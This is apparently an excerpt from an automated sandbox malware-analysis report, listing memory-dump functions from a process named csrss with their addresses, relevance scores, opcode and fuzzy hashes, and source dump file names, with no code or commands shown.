Opcode ID: 522c2071a9e9f737863b7af1563be138dffe46298157cb1e9fa8bf6eb36ff7a9
Instruction ID: aef4f0976d14c5bb117ad757949d1f3caefdbee113686ea21801a8c98734e6a6
Opcode Fuzzy Hash: 522c2071a9e9f737863b7af1563be138dffe46298157cb1e9fa8bf6eb36ff7a9
Instruction Fuzzy Hash: EEE0656190F3C04FCB06AB3488A58043FA0AE6B21078A42EEC085CF1B3EA298889C701

Function 00007FFD9B8C9639 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B8C9656

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8C3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8c3000_csrss.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: c355a6193895596a0014441ceb6e563a2b5bce3cd9dad6cbcc5d7367f7cd7da1
Instruction ID: 61ff28ab4a6e5536f89324285d58c4a312872af93dde3d18c63d5f1e432232dc
Opcode Fuzzy Hash: c355a6193895596a0014441ceb6e563a2b5bce3cd9dad6cbcc5d7367f7cd7da1
Instruction Fuzzy Hash: 62E01A7054A3C04FCB06EB7484699443F60DE6721178A41DEC089CF1B3E62E894AC701

Function 00007FFD9B8D83D9 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B8D83F6

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8d1000_csrss.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: ac99a378e39336a8266c0ad05f5fb92510ea08430124b8cbe126b3c7bc488c24
Instruction ID: 2495727ba402ab9ddcb5d2339fe509378c461c03f6015124ee7cdb5eef7b4d06
Opcode Fuzzy Hash: ac99a378e39336a8266c0ad05f5fb92510ea08430124b8cbe126b3c7bc488c24
Instruction Fuzzy Hash: 0BE01A7154E3C08FCB0AAB7488698443F70AE6B21078B41DEC049CF1B3D62EC949C711

Function 00007FFD9B8D2279 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B8D2296

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8d1000_csrss.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 0608662f01651ad901ce9885fca7bef9e4132f176da1daf7fd406b96dcc90893
Instruction ID: fcbf18505f88a0bc6db27ac50af53d58510b8ecfb9556354bac1fa2f008e2760
Opcode Fuzzy Hash: 0608662f01651ad901ce9885fca7bef9e4132f176da1daf7fd406b96dcc90893
Instruction Fuzzy Hash: C3E04F7154A3C04FCB06EB7484698443F70EE6721078B41DEC04ACF1B3E62E894AC701

Function 00007FFD9B8D7595 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8d1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd189c72a07f8509077ff26aad2e1c5d31fc8605464931ed9997d617df35dc46
Instruction ID: c3d89d09e0c49f6fec94c65bddf0b30c0f4e6cbe5d429297e1203060ce92399b
Opcode Fuzzy Hash: dd189c72a07f8509077ff26aad2e1c5d31fc8605464931ed9997d617df35dc46
Instruction Fuzzy Hash: D2C14434A0D6894FE765AB64C8656753BE1EF8A314F1902BFD04DC71E3CE29AC42C781

Function 00007FFD9B8C9821 Relevance: .3, Instructions: 316COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8C3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8c3000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01485c1572913baccc16bea96c37e31b78d0dc2bdef4b9f0a5c4d2dd63029443
Instruction ID: 2f4c781bddac7639f2e3ae23b9fc5227cc7f500115105c12acf38b1cd3614105
Opcode Fuzzy Hash: 01485c1572913baccc16bea96c37e31b78d0dc2bdef4b9f0a5c4d2dd63029443
Instruction Fuzzy Hash: 8FA1B170B1890E8FDB55EB68C4A8AB973E1FF99314B5141BAD01DC32A6DF38A842C741

Function 00007FFD9B8A08D0 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8a0000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d905977c6d52b142113f9723ca3f5d78ba6b4b5bc991dac884ccbc3ff58bc66f
Instruction ID: 3c8c72d7274a325bc02e8dc3da4286b2c5341cf6f4dc73d2865dc8cd208e784f
Opcode Fuzzy Hash: d905977c6d52b142113f9723ca3f5d78ba6b4b5bc991dac884ccbc3ff58bc66f
Instruction Fuzzy Hash: FA416B22B0D5694EE709B7BC74AA6F97780EF49329F0401FBD04EC71E7DD1869428285

Function 00007FFD9B8A0998 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8a0000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58b57a05f337eacdb6af63c72dbb477cbf7ce41510384b15e59ae45382e6b489
Instruction ID: 67ed2b292235e84323f334da9f0473fc96f708ca59ab56e2959053deb2e26331
Opcode Fuzzy Hash: 58b57a05f337eacdb6af63c72dbb477cbf7ce41510384b15e59ae45382e6b489
Instruction Fuzzy Hash: 81213820B1995E0FE758F76C94AA7B977C6EF9C315B4100B9E40DC32F7DD28AD418241

Function 00007FFD9B8D2B99 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8d1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 205d6bb5d43991c23eb0ce3b2c40a8470acab72ecb3c0a21b61454a4beef154d
Instruction ID: 4b53b85505732da7f7b489bfd77a5950bee316d36b310efe2b4ad92d96786a9f
Opcode Fuzzy Hash: 205d6bb5d43991c23eb0ce3b2c40a8470acab72ecb3c0a21b61454a4beef154d
Instruction Fuzzy Hash: 46219131B1CA5D8FDB68DF98D4657A473D2FB98314F1503BAD04EC32A2DA286D458740

Function 00007FFD9B8D26A8 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8d1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fbe139b2dce1f3adbf0d80b7e01d22f382e8abf2b284020bd3f0da74e2660cf
Instruction ID: 5e91b4f2486ff7f5b6c25eb791831ef8164cbd7f71408ecc15796a4df58f5b92
Opcode Fuzzy Hash: 3fbe139b2dce1f3adbf0d80b7e01d22f382e8abf2b284020bd3f0da74e2660cf
Instruction Fuzzy Hash: FB21C961B0DA4E4FE7A8EBEDE8B66B466D1EF98314F0503B7D40CC21E3DC5969864341

Function 00007FFD9B8A0C25 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8a0000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d08b1c0aa1afde52f7d9be73d5c57f6b9f412a6957715dc2b165daa1e147aed
Instruction ID: b878614cb3be7693428ad83d6cd8401983e2a7479a02897998e2bbfffd9d04a3
Opcode Fuzzy Hash: 7d08b1c0aa1afde52f7d9be73d5c57f6b9f412a6957715dc2b165daa1e147aed
Instruction Fuzzy Hash: A1213C35B1E69DCAE722A7A89C650EC7B60EF56324F0541F3C04C8B1D3DD38264687A1

Function 00007FFD9B8DB360 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8d1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea1372179c98c5bd1ef07e2835033818813fb0a4984046a585794ae49ecfa857
Instruction ID: 90ec16fe5148475a459576aa28e0ed03281244749f7ccaed988417a22042c8a2
Opcode Fuzzy Hash: ea1372179c98c5bd1ef07e2835033818813fb0a4984046a585794ae49ecfa857
Instruction Fuzzy Hash: 58219031B0A92D8FEAA8AB9984A57B872E6FF9C314F410376D40DC7191DE2869819780

Function 00007FFD9B8B458D Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8b0000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d76b37677cc6d64f00345c369a9257d514d79625977bda0b03baee18e3fffac
Instruction ID: 4d5e1b64db472b1c6a73aa944a6185e7ad2dd76fc1d7c3dcd39359b6657086ab
Opcode Fuzzy Hash: 1d76b37677cc6d64f00345c369a9257d514d79625977bda0b03baee18e3fffac
Instruction Fuzzy Hash: 77211D70F0941F8AEB64DBA8D865ABE76F1FF58300F55063DC019D22DADF7869019B81

Function 00007FFD9B8C5711 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8C3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8c3000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca3a283f97222a9559765ab72eaf6c51c700fbe5d6885617f00678c4d4b533f6
Instruction ID: 59958dab333df7904cbcb582f5fa3017af56c1d25fcf6cfd3c5892ee384a3b55
Opcode Fuzzy Hash: ca3a283f97222a9559765ab72eaf6c51c700fbe5d6885617f00678c4d4b533f6
Instruction Fuzzy Hash: 88014C23A0E59D0FE739E2ACAC651F677D5D79A32070A01BFC08AC3193EC0919438394

Function 00007FFD9B8D2972 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8d1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d336289e9f7e287503e7e1499020edc960b127398ba4705dcbadf7ac4c6c157c
Instruction ID: c72147ae75933abb7e3757f6244f1510170eb12264413699181d044c54eb5543
Opcode Fuzzy Hash: d336289e9f7e287503e7e1499020edc960b127398ba4705dcbadf7ac4c6c157c
Instruction Fuzzy Hash: 4511D631B0D91E4FEB68EF88D4617B873A1EB98310F1503BAD419C32D6CD286D818781

Function 00007FFD9B8A108D Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8a0000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f63822a43baad550ed0b253fbb504f598067c37b104457dbc3472562c191c115
Instruction ID: 8d0c653258993c50882a0e6f09a401980dde548ee2ab3c0148a3689a0a37aa0c
Opcode Fuzzy Hash: f63822a43baad550ed0b253fbb504f598067c37b104457dbc3472562c191c115
Instruction Fuzzy Hash: 14012B21A8F6D50FE72957B15C729A13FA0DF8721070A02FAD099CB1E3CC4D5986C361

Function 00007FFD9B8A4254 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8a0000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5dddeec1e5129fc4d35887b6bfa4e4151c1167bd3efddc9334c48ff78bb7e58
Instruction ID: d017d5b01eb352d982b3e7498a1bad442bf990a63ec49f9cdc9cd72238e15dc1
Opcode Fuzzy Hash: d5dddeec1e5129fc4d35887b6bfa4e4151c1167bd3efddc9334c48ff78bb7e58
Instruction Fuzzy Hash: 65119931A0992DCFDFA4DB58C464BA973E1EB69315F1501A9C40EE72A0CB74AE80CF81

Function 00007FFD9B8A0C38 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8a0000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 622d4cb5851ad5df6e15a9e1b5d6c8c1decc745fa23dcd0913648d0b48eb1346
Instruction ID: abe2d75de4fd3f25ffd06ca58cfb81b6ba6deb65071a96dc19163d1e95196b08
Opcode Fuzzy Hash: 622d4cb5851ad5df6e15a9e1b5d6c8c1decc745fa23dcd0913648d0b48eb1346
Instruction Fuzzy Hash: 8111CA31F1E68D8FE712DBA888651AC7BB0EF56710F0645F7C088DB1E2D93826058790

Function 00007FFD9B8A0C40 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8a0000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96ded54cfd0920199d6c6d11e88c46908cfc79ec210a5fe0fec14a4badc6d1b5
Instruction ID: f77c08b788de8d379085d460a0c4e7c325342c7f81b2b9dec07adfa64f89d455
Opcode Fuzzy Hash: 96ded54cfd0920199d6c6d11e88c46908cfc79ec210a5fe0fec14a4badc6d1b5
Instruction Fuzzy Hash: DA11A531F1E68D8FE712DBA4886409C7FB0EF56710F0641F7C088DB1A2D93866458750

Function 00007FFD9B8A4299 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8a0000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 313d35bf1f549387344662c6b38df46266b18dbf745ffc0c367377fe7306dec7
Instruction ID: fdb69d7355b01b95e402d3002a878f08e7a050686ad57f91f0b67508f30d6916
Opcode Fuzzy Hash: 313d35bf1f549387344662c6b38df46266b18dbf745ffc0c367377fe7306dec7
Instruction Fuzzy Hash: B611EC30A0891D8FDF64DF44C4A0BA9B3E2FB99301F5501A9D00ED72A0CA74AE80CF81

Function 00007FFD9B8C57BB Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8C3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8c3000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0009163b86cf2fea21c8acc03a7b13cf96ba9888bbe8dd4eb37f031114da01e
Instruction ID: 24eeebd66ce146125a078c6e37975a98218b8530897074ad21e2c2c92fb3d180
Opcode Fuzzy Hash: f0009163b86cf2fea21c8acc03a7b13cf96ba9888bbe8dd4eb37f031114da01e
Instruction Fuzzy Hash: 67F05463B0E81E4BFB68E25CB4652F623C5DB98730B16027BC45EC32A6DD19AD4342C4

Function 00007FFD9B8DDE69 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8d1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93a98fb332b1605e967367fb5d9d878e575477029ce1bdea06c97dda96d11119
Instruction ID: ee2b7675b46c33c272db3197f10fcf5f1b163a8b842576beb3687e0079ca0fbe
Opcode Fuzzy Hash: 93a98fb332b1605e967367fb5d9d878e575477029ce1bdea06c97dda96d11119
Instruction Fuzzy Hash: 1D014F31F0551E8BEBA4E799D8647FCB3E1EFE8701F05067BE009D7191DA29AE858740

Function 00007FFD9B8A0C48 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8a0000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93509bb8375cbbb8e8d0c46b928704f8c7886cd4832ae8ba0c8bf387a126da68
Instruction ID: f8dbf21508d3edc961766993e2b70dec02dae6f1a8e5e33edcd7333c0ca18241
Opcode Fuzzy Hash: 93509bb8375cbbb8e8d0c46b928704f8c7886cd4832ae8ba0c8bf387a126da68
Instruction Fuzzy Hash: E5019231E1E28D8FE722DBA4C86409C7FB0EF16710F1641F7C088DB1A2D9386A458791

Function 00007FFD9B8C6905 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8C3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8c3000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03357b6c375b68e09e30a707edf24bab1e06b04a99d3d6066ede5a9fbac679ee
Instruction ID: 8407692ae0a32d0ba64697dba62581a42a08536504644b52018172739efc5c39
Opcode Fuzzy Hash: 03357b6c375b68e09e30a707edf24bab1e06b04a99d3d6066ede5a9fbac679ee
Instruction Fuzzy Hash: 53F0BB71A0F68A0BE322A779887057877A0EF65310F090277D059C72F3DD5C974A8395

Function 00007FFD9B8B48F1 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8b0000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a128a8ce15385d83d1c9bfdc9892cc78478811be60964cad479fbf604366189e
Instruction ID: 3970fd2b45a8b8063c1f0bd275327ab1a37e7647802fbb1338e7984d292b8e6e
Opcode Fuzzy Hash: a128a8ce15385d83d1c9bfdc9892cc78478811be60964cad479fbf604366189e
Instruction Fuzzy Hash: 66F0E971D1EB8C5FDB519B7488A90E8BFF0EF15300F4A04EBD489C60B3E96556548751

Function 00007FFD9B8A0C50 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8a0000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eedf3daf3d04c1cd2a1087221fe599267d1588d07bc07bd4bed318c1df3b238e
Instruction ID: f0b68e9a4f27ae7eb77b6236b543806fb4811c1b9ae6f74d782ec1c918138d7f
Opcode Fuzzy Hash: eedf3daf3d04c1cd2a1087221fe599267d1588d07bc07bd4bed318c1df3b238e
Instruction Fuzzy Hash: AE018430E1E38D9FE722DBA488A409D7FB0EF1A714F1541F7C088CB1A2D9386B448751

Function 00007FFD9B8B45CF Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8b0000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b96a02001702cdb520e4287863bd9d0c280cda3eb8ff451e9c31aedd71677d81
Instruction ID: 0755f8c7e9227c72b9b2836d73432cb92ae9c3a1da340c7668c137fb2ae0d535
Opcode Fuzzy Hash: b96a02001702cdb520e4287863bd9d0c280cda3eb8ff451e9c31aedd71677d81
Instruction Fuzzy Hash: 43F03C70F0491F8AEB64EF98C866ABE77E5EB54300F050539C429D72A9EF74A9419B80

Function 00007FFD9B8CD369 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8C3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8c3000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 930a026b2870b070d2834129d803e696f1ca9f78b56939151bef8b451842eadb
Instruction ID: d0308a42ce2bc31d33697237c015406340c059a5189c7d16091cea562b68e817
Opcode Fuzzy Hash: 930a026b2870b070d2834129d803e696f1ca9f78b56939151bef8b451842eadb
Instruction Fuzzy Hash: 68F030A151F7D41FD3126B388D654547FB0EA2750535B46EBC0DACB4B3D549988B8301

Function 00007FFD9B8A0B87 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8a0000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abfe1e9dc9953192649a0546dc89d819f79c169f7f85bcca99366c43bafe870e
Instruction ID: 391702b54be0be3af6182e18ade218134106cf2ea12b8cd6f82c6577485686ea
Opcode Fuzzy Hash: abfe1e9dc9953192649a0546dc89d819f79c169f7f85bcca99366c43bafe870e
Instruction Fuzzy Hash: 71E07D3131955D4FCA01FB7CDC254A53B90EF8B21578B14F6D008C7462C511584E8B00

Function 00007FFD9B8A10C0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8a0000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d8c90affcf74d9d2cc5a953ceff83cbceeddbc3543f379d50b4530237cbc10e
Instruction ID: 7a778003f7b63a7f02e31fd9a652d43de64e2e59d2d136f4e2c598fd81ede551
Opcode Fuzzy Hash: 6d8c90affcf74d9d2cc5a953ceff83cbceeddbc3543f379d50b4530237cbc10e
Instruction Fuzzy Hash: 46E02621F0C8490AEB7CB67478726B07280DB96314B0501B9D01AC22DADC0D1C814281

Function 00007FFD9B8B4BBA Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8b0000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83b57018487f0601762528aa913da1a6a0998894cc75023c9d8746bf222c658d
Instruction ID: b539eba57ef3a8569cb1f731cbf351aa87694865c7d6c14f992e4f880170dada
Opcode Fuzzy Hash: 83b57018487f0601762528aa913da1a6a0998894cc75023c9d8746bf222c658d
Instruction Fuzzy Hash: 17E09B307195594FEB18DB9CD8506B53351EB89311F154569D445C31ABDE38AA528AC0

Function 00007FFD9B8DAB69 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8d1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a9d74972ab2d0165b8d323e52c0dc36709c39db4b6df668401f515967e8bd48
Instruction ID: f55a5d90dcf8beeb63c4a5c1f35a7a7ef8fbb977fc412fe48046c615f0365ea7
Opcode Fuzzy Hash: 5a9d74972ab2d0165b8d323e52c0dc36709c39db4b6df668401f515967e8bd48
Instruction Fuzzy Hash: E4E06D3060E3C48FCB1AAB3488698547F60EE6721134A42EFC445CF1A7DA2D8889CB11

Function 00007FFD9B8C6920 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8C3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8c3000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a58a3c69d1572b8a2cb5992520a59f06962de7390e1ca9e27e647d947d37923c
Instruction ID: ef6523b2a2865d9d4d11d7a348cc6f8fb5048c1701aecdb4092c37e76ead3ddc
Opcode Fuzzy Hash: a58a3c69d1572b8a2cb5992520a59f06962de7390e1ca9e27e647d947d37923c
Instruction Fuzzy Hash: 97E0C231B1A80E47E724F3398CA4ABD7251EB99721F494336E01DC32E9ED289A4283C5

Function 00007FFD9B8A4E94 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8a0000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16d5e3712ee38bd8e1488ed202a9ca28889ce299ebaba397316427e6f5c0225d
Instruction ID: 1d60bafbe8f1f75faf93530eda587bba03a6d6c9f22be9596fab6634a2dd2957
Opcode Fuzzy Hash: 16d5e3712ee38bd8e1488ed202a9ca28889ce299ebaba397316427e6f5c0225d
Instruction Fuzzy Hash: 77E0ED70F0A51E47FB65A384C860BEA7251EB5D700F1900B8D54E933E1CD38AE418765

Function 00007FFD9B8C97E9 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8C3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8c3000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3bb191cc9d4c196991e56433fdf84ee4e70d80b4ed596463e512b0aa3af90d3
Instruction ID: b691c3370256514788fc623b2c73f03fc0385af8cb5970d213d4fc4c59888782
Opcode Fuzzy Hash: c3bb191cc9d4c196991e56433fdf84ee4e70d80b4ed596463e512b0aa3af90d3
Instruction Fuzzy Hash: 6AE0E57054A3C04FCB06EB7488A98443F60EE6721078A41EEC089CF1B3D62E8949C711

Function 00007FFD9B8DAB80 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8d1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
